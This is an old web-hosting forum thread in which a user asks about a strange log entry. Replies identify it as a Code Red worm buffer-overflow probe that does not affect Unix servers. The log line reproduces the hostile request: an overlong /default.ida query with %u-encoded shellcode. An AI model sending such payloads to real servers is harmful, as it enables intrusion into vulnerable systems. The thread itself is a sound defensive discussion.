Web Hosting Talk







View Full Version : Is this an attack and what should I do


Daniel
08-28-2001, 09:14 PM
I'm getting this in my stats logs.

Host: 66.89.136.90 Url: /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucb d3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a Http Code : HTTP/1.0"
Date: Aug 28 12:36:00 Http Version: Size in Bytes: 404
Referer: -

I know at least one of my customers is getting the same thing. What is it and what if anything should I do.

Thank you for your help.

jayglate
08-28-2001, 09:24 PM
That is code red...If you are on unix don't worry about it to much.

Dexter
08-28-2001, 09:24 PM
looks like a standard buffer overflow job... not sure but it's probabbly just code red worm scanning your system. unless you're running windows server you have nothing to worry about...

Daniel
08-28-2001, 09:31 PM
I'm running RH6.2 on that server. So I guess all is well. Thank you all for your help